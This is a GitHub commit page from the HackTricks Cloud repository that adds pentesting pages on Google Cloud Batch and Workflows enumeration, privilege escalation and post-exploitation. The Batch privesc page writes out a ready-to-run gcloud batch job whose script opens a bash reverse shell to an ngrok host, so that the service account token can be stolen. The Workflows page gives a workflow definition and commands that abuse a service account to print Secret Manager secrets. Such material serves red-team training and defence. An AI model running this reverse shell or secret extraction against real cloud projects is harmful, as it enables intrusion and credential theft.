-
Notifications
You must be signed in to change notification settings - Fork 267
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
23b7e92
commit 79e0978
Showing
6 changed files
with
353 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
45 changes: 45 additions & 0 deletions
45
...ing-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
# GCP - Workflows Post Exploitation | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> | ||
|
||
## Workflow | ||
|
||
Basic information: | ||
|
||
{% content-ref url="../gcp-services/gcp-workflows-enum.md" %} | ||
[gcp-workflows-enum.md](../gcp-services/gcp-workflows-enum.md) | ||
{% endcontent-ref %} | ||
|
||
### Post Exploitation | ||
|
||
The post exploitation techniques are actually the same ones as the ones shared in the Workflows Privesc section: | ||
|
||
{% content-ref url="../gcp-privilege-escalation/gcp-workflows-privesc.md" %} | ||
[gcp-workflows-privesc.md](../gcp-privilege-escalation/gcp-workflows-privesc.md) | ||
{% endcontent-ref %} | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> |
84 changes: 84 additions & 0 deletions
84
pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
# GCP - Batch Privesc | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) | ||
* github repos. | ||
|
||
</details> | ||
|
||
## Batch | ||
|
||
Basic information: | ||
|
||
{% content-ref url="../gcp-services/gcp-batch-enum.md" %} | ||
[gcp-batch-enum.md](../gcp-services/gcp-batch-enum.md) | ||
{% endcontent-ref %} | ||
|
||
### `batch.jobs.create`, `iam.serviceAccounts.actAs` | ||
|
||
It's possible to create a batch job, get a reverse shell and exfiltrate the metadata token of the SA (compute SA by default). | ||
|
||
```bash | ||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD | ||
{ | ||
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub", | ||
"taskGroups": [ | ||
{ | ||
"taskCount": "1", | ||
"parallelism": "1", | ||
"taskSpec": { | ||
"computeResource": { | ||
"cpuMilli": "1000", | ||
"memoryMib": "512" | ||
}, | ||
"runnables": [ | ||
{ | ||
"script": { | ||
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n" | ||
} | ||
} | ||
], | ||
"volumes": [] | ||
} | ||
} | ||
], | ||
"allocationPolicy": { | ||
"instances": [ | ||
{ | ||
"policy": { | ||
"provisioningModel": "STANDARD", | ||
"machineType": "e2-micro" | ||
} | ||
} | ||
] | ||
}, | ||
"logsPolicy": { | ||
"destination": "CLOUD_LOGGING" | ||
} | ||
} | ||
EOD | ||
``` | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) | ||
* github repos. | ||
|
||
</details> |
90 changes: 90 additions & 0 deletions
90
pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
# GCP - Workflows Privesc | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> | ||
|
||
## Workflows | ||
|
||
Basic Information: | ||
|
||
{% content-ref url="../gcp-services/gcp-workflows-enum.md" %} | ||
[gcp-workflows-enum.md](../gcp-services/gcp-workflows-enum.md) | ||
{% endcontent-ref %} | ||
|
||
### Abuse SA permissions in steps | ||
|
||
Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow. | ||
|
||
It's possible to find the documentation of the connectors. For example, this is the [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In the side bar it's possible to find several other connectors. | ||
|
||
And here you can find an example of a connector that prints a secret: | ||
|
||
```yaml | ||
main: | ||
params: [input] | ||
steps: | ||
- access_string_secret: | ||
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString | ||
args: | ||
secret_id: secret_name | ||
version: 1 | ||
project_id: project-id-id | ||
result: str_secret | ||
- returnOutput: | ||
return: '${str_secret}' | ||
``` | ||
Update from the CLI: | ||
```bash | ||
gcloud workflows deploy workflow-name \ | ||
--service-account=email@SA \ | ||
--source=/path/to/config.yaml | ||
``` | ||
|
||
If you don't have web access it's possible to trigger and see the execution of a Workflow with: | ||
|
||
{% code overflow="wrap" %} | ||
```bash | ||
# Run execution with output | ||
gcloud workflows run workflow-1 | ||
|
||
# Run execution without output | ||
gcloud workflows execute <workflow-name> | ||
|
||
# List executions | ||
gcloud workflows executions list workflow-1 | ||
|
||
# Get execution info and output | ||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id> | ||
``` | ||
{% endcode %} | ||
|
||
{% hint style="danger" %} | ||
You can also check the output of previous executions to look for sensitive information | ||
{% endhint %} | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> |
63 changes: 63 additions & 0 deletions
63
pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
# GCP - Batch Enum | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) | ||
* github repos. | ||
|
||
</details> | ||
|
||
## Basic Information | ||
|
||
**Google Cloud Platform (GCP) Batch Service** is designed for running **large-scale batch computing workloads**, automating the management, scheduling, and execution of batch jobs across scalable cloud resources. This service simplifies operations and optimizes costs by allowing users to leverage preemptible VMs and integrates seamlessly with other GCP services for comprehensive batch processing workflows. It's ideal for data processing, financial modeling, and scientific simulations. | ||
|
||
### Service Account | ||
|
||
Although (currently) it's not possible to select the SA that the batch job will be executed with, **it'll use the compute SA** (Editor permissions usually). | ||
|
||
## Enumeration | ||
|
||
{% code overflow="wrap" %} | ||
```bash | ||
# List jobs | ||
gcloud batch jobs list | ||
|
||
# Get job info | ||
gcloud batch jobs describe <job-name> --location <location> | ||
|
||
# List tasks | ||
gcloud batch tasks list --location <location> --job <job-name> | ||
|
||
# Gte info of tasks executions | ||
gcloud batch tasks describe projects/<proj-number>/locations/<location>/jobs/<job-name>/taskGroups/<group>/tasks/<num> | ||
``` | ||
{% endcode %} | ||
|
||
## Privilege Escalation | ||
|
||
{% content-ref url="../gcp-privilege-escalation/gcp-batch-privesc.md" %} | ||
[gcp-batch-privesc.md](../gcp-privilege-escalation/gcp-batch-privesc.md) | ||
{% endcontent-ref %} | ||
|
||
<details> | ||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> | ||
|
||
Other ways to support HackTricks: | ||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! | ||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | ||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** | ||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) | ||
* github repos. | ||
|
||
</details> |
Oops, something went wrong.